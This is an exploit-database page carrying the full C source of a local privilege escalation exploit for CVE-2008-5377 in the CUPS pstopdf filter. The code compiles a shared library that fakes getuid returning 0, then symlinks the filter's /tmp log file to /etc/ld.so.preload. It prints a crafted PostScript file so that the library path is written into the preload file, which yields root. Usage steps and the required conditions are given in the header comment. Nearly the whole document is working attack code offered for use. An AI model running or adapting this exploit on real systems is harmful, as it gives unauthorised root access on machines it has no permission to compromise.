Lucene search

K
seebugRootSSV:66091
HistoryJul 01, 2014 - 12:00 a.m.

CUPS < 1.3.8-4 - (pstopdf filter) Privilege Escalation Exploit

2014-07-0100:00:00
Root
www.seebug.org
182

0.0004 Low

EPSS

Percentile

0.4%

No description provided by source.


                                                /*
 * cve-2008-5377.c
 *
 * CUPS &#60; 1.3.8-4 pstopdf filter exploit
 * Jon Oberheide &#60;[email protected]&#62;
 * http://jon.oberheide.org
 * 
 * Usage:
 *
 *   $ gcc cve-2008-5377.c -o cve-2008-5377.c
 *   $ ./cve-2008-5377
 *   $ id
 *   uid=0(root) gid=1000(vm) ...
 *
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2008-5377
 *
 *   pstopdf in CUPS 1.3.8 allows local users to overwrite arbitrary files via
 *   a symlink attack on the /tmp/pstopdf.log temporary file.
 *
 * Operation:
 *
 *   The exploit creates and prints a malformed postscript document that will
 *   cause the CUPS pstopdf filter to write an error message out to its log 
 *   file that contains the string /tmp/getuid.so.  However, since we also 
 *   symlink the pstopdf log file /tmp/pstopdf.log to /etc/ld.so.preload, the 
 *   error message and malicious shared library path will be appended to the
 *   ld.so.preload file, allowing us to elevate privileges to root.
 *
 * Note:
 * 
 *   This exploit only works under the (rare) conditions that cupsd executes 
 *   external filters as a privileged user, a printer on the system uses the 
 *   pstopdf filter (e.g. the pdf.ppd PDF converter). Also, /etc/ld.so.preload
 *   must be world readable.
 */

#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;strings.h&#62;
#include &#60;unistd.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;sys/stat.h&#62;
#include &#60;sys/wait.h&#62;

int
main(void)
{
	int ret;
	FILE *fp;
	struct stat log;

	fp = fopen(&#34;/tmp/cve-2008-5377.ps&#34;, &#34;w&#34;);
	if(!fp) {
		printf(&#34;error: cannot open /tmp/cve-2008-5377.ps\n&#34;);
		goto cleanup;
	}
	fprintf(fp, &#34;%%!PS-Adobe-2.0 EPSF-2.0\n( /tmp/getuid.so ) CVE-2008-5377\n&#34;);
	fclose(fp);

	fp = fopen(&#34;/tmp/getuid.c&#34;, &#34;w&#34;);
	if(!fp) {
		printf(&#34;error: cannot open /tmp/getuid.c\n&#34;);
		goto cleanup;
	}
	fprintf(fp, &#34;int getuid(){return 0;}\n&#34;);
	fclose(fp);

	ret = system(&#34;cc -shared /tmp/getuid.c -o /tmp/getuid.so&#34;);
	if (WEXITSTATUS(ret) != 0) {
		printf(&#34;error: cannot compile /tmp/getuid.c\n&#34;);
		goto cleanup;
	}

	unlink(&#34;/tmp/pstopdf.log&#34;);
	ret = stat(&#34;/tmp/pstopdf.log&#34;, &log);
	if (ret != -1) {
		
		printf(&#34;error: /tmp/pstopdf.log already exists\n&#34;);
		goto cleanup;
	}

	ret = symlink(&#34;/etc/ld.so.preload&#34;, &#34;/tmp/pstopdf.log&#34;);
	if (ret == -1) {
		printf(&#34;error: cannot symlink /tmp/pstopdf.log to /etc/ld.so.preload\n&#34;);
		goto cleanup;
	}

	ret = system(&#34;lp &#60; /tmp/cve-2008-5377.ps&#34;);
	if (WEXITSTATUS(ret) != 0) {
		printf(&#34;error: could not print /tmp/cve-2008-5377.ps\n&#34;);
		goto cleanup;
	}

cleanup:
	unlink(&#34;/tmp/cve-2008-5377.ps&#34;);
	unlink(&#34;/tmp/getuid.c&#34;);
	return 0;
} 

// milw0rm.com [2008-12-22]